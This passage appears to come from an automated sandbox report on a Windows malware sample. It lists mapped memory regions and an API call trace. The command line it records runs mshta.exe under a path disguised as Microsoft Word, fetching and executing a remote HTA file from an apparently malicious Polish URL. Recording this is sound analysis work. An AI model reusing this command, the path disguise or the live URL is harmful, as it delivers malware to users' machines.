0x450000 end_va = 0x45bfff entry_point = 0x45e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 744 start_va = 0x3080000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 745 start_va = 0x4780000 end_va = 0x487ffff entry_point = 0x0 region_type = private name = "private_0x0000000004780000" filename = "" Region: id = 746 start_va = 0x74a30000 end_va = 0x74b24fff entry_point = 0x74a40d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 747 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 748 start_va = 0x4a0000 end_va = 0x4a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 749 start_va = 0x500000 end_va = 0x503fff entry_point = 0x500000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 750 start_va = 0x550000 end_va = 0x550fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 751 start_va = 0x770000 end_va = 0x773fff entry_point = 0x770000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 752 start_va = 0xb30000 end_va = 0xb52fff entry_point = 0xb30000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 753 start_va = 0xcd0000 end_va = 0xcfffff entry_point = 0xcd0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db") Region: id = 754 start_va = 0x2ad0000 end_va = 0x2b35fff entry_point = 0x2ad0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 755 start_va = 0x76850000 end_va = 0x76876fff entry_point = 0x768558b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 756 start_va = 0x76ae0000 end_va = 0x76c7cfff entry_point = 0x76ae17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 757 start_va = 0x76eb0000 end_va = 0x76ec1fff entry_point = 0x76eb1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Thread: id = 12 os_tid = 0x9c4 [0031.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3bf8e4 | out: lpSystemTimeAsFileTime=0x3bf8e4*(dwLowDateTime=0xcedf3c60, dwHighDateTime=0x1d3468a)) [0031.310] GetCurrentProcessId () returned 0x9c0 [0031.310] GetCurrentThreadId () returned 0x9c4 [0031.310] GetTickCount () returned 0x10260 [0031.310] QueryPerformanceCounter (in: lpPerformanceCount=0x3bf8dc | out: lpPerformanceCount=0x3bf8dc*=255285866) returned 1 [0031.310] GetModuleHandleA (lpModuleName=0x0) returned 0xdf0000 [0031.310] GetStartupInfoA (in: lpStartupInfo=0x3bf7f0 | out: lpStartupInfo=0x3bf7f0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x41, wShowWindow=0x7, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0031.310] GetVersionExA (in: lpVersionInformation=0x3bf840*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3bf840*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.311] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0031.311] GetProcAddress (hModule=0x76520000, lpProcName="FlsAlloc") returned 0x76534f2b [0031.311] GetProcAddress (hModule=0x76520000, lpProcName="FlsGetValue") returned 0x76531252 [0031.311] GetProcAddress (hModule=0x76520000, lpProcName="FlsSetValue") returned 0x76534208 [0031.311] GetProcAddress (hModule=0x76520000, lpProcName="FlsFree") returned 0x7653359f [0031.311] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.311] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.311] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.311] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.311] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.312] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.312] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.312] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.312] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.312] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.312] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.312] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x772c0000 [0031.313] GetProcAddress (hModule=0x772c0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x772d004f [0031.313] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.313] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.313] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.313] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.313] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.313] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.313] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.313] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.314] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.314] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.314] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.314] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.314] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.314] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.315] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.315] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.315] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.315] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.315] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.315] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.316] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.316] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.316] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x772c0000 [0031.316] GetProcAddress (hModule=0x772c0000, lpProcName="EncodePointer") returned 0x778e0fcb [0031.316] GetProcAddress (hModule=0x772c0000, lpProcName="DecodePointer") returned 0x778d9d35 [0031.316] GetStartupInfoA (in: lpStartupInfo=0x3bf774 | out: lpStartupInfo=0x3bf774*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x41, wShowWindow=0x7, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0031.316] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.316] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.316] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.316] SetHandleCount (uNumber=0x20) returned 0x20 [0031.316] GetCommandLineA () returned="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe http://w-szczecin.pl/img2/NEW15_10.doc/index.hta " [0031.316] GetEnvironmentStringsW () returned 0x790390* [0031.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379 [0031.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0x290e78, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1379 [0031.317] FreeEnvironmentStringsW (penv=0x790390) returned 1 [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetACP () returned 0x4e4 [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3bf74c | out: lpCPInfo=0x3bf74c) returned 1 [0031.317] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3bf218 | out: lpCPInfo=0x3bf218) returned 1 [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x3bf1a8 | out: lpCharType=0x3bf1a8) returned 1 [0031.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x3bef98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獏ßĀ") returned 256 [0031.317] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ獏ßĀ", cchSrc=256, lpCharType=0x3bf22c | out: lpCharType=0x3bf22c) returned 1 [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0031.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x3bef38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ篠섓Ā") returned 256 [0031.317] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ篠섓Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.317] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ篠섓Ā", cchSrc=256, lpDestStr=0x3bed28, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0031.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x3bf52c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿT}\x13Ád÷;", lpUsedDefaultChar=0x0) returned 256 [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bf62c, cbMultiByte=256, lpWideCharStr=0x3bef58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ節섓Ā") returned 256 [0031.318] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ節섓Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.318] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ節섓Ā", cchSrc=256, lpDestStr=0x3bed48, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0031.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x3bf42c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ 